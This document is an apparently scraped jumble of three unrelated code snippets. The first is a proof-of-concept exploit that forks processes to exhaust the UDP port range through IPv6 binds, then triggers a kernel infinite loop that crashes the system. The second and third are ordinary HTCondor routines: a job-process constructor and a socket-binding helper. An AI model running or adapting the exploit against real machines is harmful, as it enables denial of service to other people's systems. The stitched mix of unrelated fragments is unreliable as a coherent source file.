/* The criticial is fairly simple to raise : the infinite loop occurs when * calling bind with no speficied port number (ie zero), if and only if the * IPv6 stack cannot find any free UDP port within the local port range * (normally 32768-61000). Because this requires times more sockets than what * a process normally can open at a given time, we have to spawn several * processes. Then, the simplest way to trigger the crash condition consists * of opening up kernel-allocated UDP ports until it crashes, but that is * fairly slow (because allocation are stored in small a hash table of lists, * that are checked at each allocation). A much faster scheme involves getting * the local port range from /proc, allocating one by one, and only then, ask * for automatic (any/zero) port allocation. */ static int proof (void) { int lim, val = 2; pid_t pid, ppid; uint16_t range[2], port; lim = get_fd_limit (); if (lim <= 3) return -2; get_port_range (range); port = range[0]; ppid = getpid (); puts ("Stage 1..."); do { switch (pid = fork ()) { case 0: for (val = 3; val < lim; val++) close (val); do { if (bind_udpv6_port (port) >= 0) { if (port) port++; } else if (port && (errno == EADDRINUSE)) port++; /* skip already used port */ else if (errno != EMFILE) /* EAFNOSUPPORT -> no IPv6 stack */ /* EADDRINUSE -> not vulnerable */ exit (1); if (port > range[1]) { puts ("Stage 2... should crash quickly"); port = 0; } } while (errno != EMFILE); break; /* EMFILE: spawn new process */ case -1: exit (2); default: wait (&val); if (ppid != getpid ()) exit (WIFEXITED (val) ? WEXITSTATUS (val) : 2); } } while (pid == 0); puts ("System not vulnerable"); return -val; }
UserProc::UserProc( STARTUP_INFO &s ) : cluster( s.cluster ), proc( s.proc ), m_a_out( NULL ), core_name( NULL ), uid( s.uid ), gid( s.gid ), v_pid( s.virt_pid ), pid( 0 ), job_class( s.job_class ), state( NEW ), user_time( 0 ), sys_time( 0 ), exit_status_valid( FALSE ), exit_status( 0 ), ckpt_wanted( s.ckpt_wanted ), soft_kill_sig( s.soft_kill_sig ), new_ckpt_created( FALSE ), ckpt_transferred( FALSE ), core_created( FALSE ), core_transferred( FALSE ), exit_requested( FALSE ), image_size( -1 ), guaranteed_user_time( 0 ), guaranteed_sys_time( 0 ), pids_suspended( -1 ) { MyString buf; mode_t omask; cmd = new char [ strlen(s.cmd) + 1 ]; strcpy( cmd, s.cmd ); // Since we are adding to the argument list, we may need to deal // with platform-specific arg syntax in the user's args in order // to successfully merge them with the additional args. args.SetArgV1SyntaxToCurrentPlatform(); MyString args_errors; if(!args.AppendArgsV1or2Raw(s.args_v1or2,&args_errors)) { EXCEPT("ERROR: Failed to parse arguments string: %s\n%s", args_errors.Value(),s.args_v1or2); } // set up environment as an object MyString env_errors; if(!env_obj.MergeFromV1or2Raw( s.env_v1or2,&env_errors )) { EXCEPT("ERROR: Failed to parse environment string: %s\n%s", env_errors.Value(),s.env_v1or2); } // add name of SMP slot (from startd) into environment setSlotEnv(&env_obj); /* Port regulation for user job */ int low_port, high_port; // assume outgoing port range if (get_port_range(TRUE, &low_port, &high_port) == TRUE) { buf.formatstr( "_condor_LOWPORT=%d", low_port); env_obj.SetEnv(buf.Value()); buf.formatstr( "_condor_HIGHPORT=%d", high_port); env_obj.SetEnv(buf.Value()); } /* end - Port regulation for user job */ if( param_boolean("BIND_ALL_INTERFACES", true) ) { buf.formatstr( "_condor_BIND_ALL_INTERFACES=TRUE" ); } else { buf.formatstr( "_condor_BIND_ALL_INTERFACES=FALSE" ); } env_obj.SetEnv(buf.Value()); // Generate a directory where process can run and do its checkpointing omask = umask(0); buf.formatstr( "dir_%d", getpid() ); local_dir = new char [ buf.Length() + 1 ]; strcpy( local_dir, buf.Value() ); if (privsep_enabled()) { // the Switchboard expects a full path to privsep_create_dir MyString local_dir_path; local_dir_path.formatstr("%s/%s", Execute, local_dir); if (!privsep_create_dir(get_condor_uid(), local_dir_path.Value())) { EXCEPT("privsep_create_dir failure"); } if (chmod(local_dir_path.Value(), LOCAL_DIR_MODE) == -1) { EXCEPT("chmod failure after privsep_create_dir"); } } else { if( mkdir(local_dir,LOCAL_DIR_MODE) < 0 ) { EXCEPT( "mkdir(%s,0%o)", local_dir, LOCAL_DIR_MODE ); } } (void)umask(omask); // Now that we know what the local_dir is, put the path into // the environment so the job knows where it is MyString scratch_env; scratch_env.formatstr("CONDOR_SCRATCH_DIR=%s/%s",Execute,local_dir); env_obj.SetEnv(scratch_env.Value()); buf.formatstr( "%s/condor_exec.%d.%d", local_dir, cluster, proc ); cur_ckpt = new char [ buf.Length() + 1 ]; strcpy( cur_ckpt, buf.Value() ); // Find out if user wants checkpointing #if defined(NO_CKPT) ckpt_wanted = FALSE; dprintf(D_ALWAYS, "This platform doesn't implement checkpointing yet\n" ); #else ckpt_wanted = s.ckpt_wanted; #endif restart = s.is_restart; coredump_limit_exists = s.coredump_limit_exists; coredump_limit = s.coredump_limit; }
// [IPV6] Ported int _condor_local_bind( int is_outgoing, int fd ) { /* Note: this function is completely WinNT screwed. However, * only non-Cedar components call this function (ckpt-server, * old shadow) --- and these components are not destined for NT * anyhow. So on NT, just pass back success so log file is not * full of scary looking error messages. * * This function should go away when everything uses CEDAR. */ #ifndef WIN32 int lowPort, highPort; if ( get_port_range(is_outgoing, &lowPort, &highPort) == TRUE ) { if ( bindWithin(fd, lowPort, highPort) == TRUE ) return TRUE; else return FALSE; } else { //struct sockaddr_storage ss; ipv4or6_storage ss; socklen_t len = sizeof(ss); int r = getsockname(fd, &(ss.sa), &len); if (r != 0) { dprintf(D_ALWAYS, "ERROR: getsockname fialed, errno: %d\n", errno); return FALSE; } // this implementation should be changed to the one // using condor_sockaddr class if (ss.all.ss_family == AF_INET) { struct sockaddr_in* sa_in = &(ss.v4); memset( (char *)sa_in, 0, sizeof(struct sockaddr_in) ); sa_in->sin_family = AF_INET; sa_in->sin_port = 0; /* we don't want to honor BIND_ALL_INTERFACES == true in here. this code is only used in the ckpt server (which isn't daemoncore, so the hostallow localhost stuff doesn't matter) and for bind()ing outbound connections inside do_connect(). so, there's no harm in always binding to all interfaces in here... Derek <*****@*****.**> 2005-09-20 */ sa_in->sin_addr.s_addr = INADDR_ANY; } else if (ss.all.ss_family == AF_INET6) { struct sockaddr_in6* sin6 = &(ss.v6); sin6->sin6_addr = in6addr_any; sin6->sin6_port = 0; } else { dprintf(D_ALWAYS, "ERROR: getsockname returned with unknown " "socket type %d\n", ss.all.ss_family); return FALSE; } if( bind(fd, &(ss.sa), len) < 0 ) { dprintf( D_ALWAYS, "ERROR: bind failed, errno: %d\n", errno ); return FALSE; } } #endif /* of ifndef WIN32 */ return TRUE; }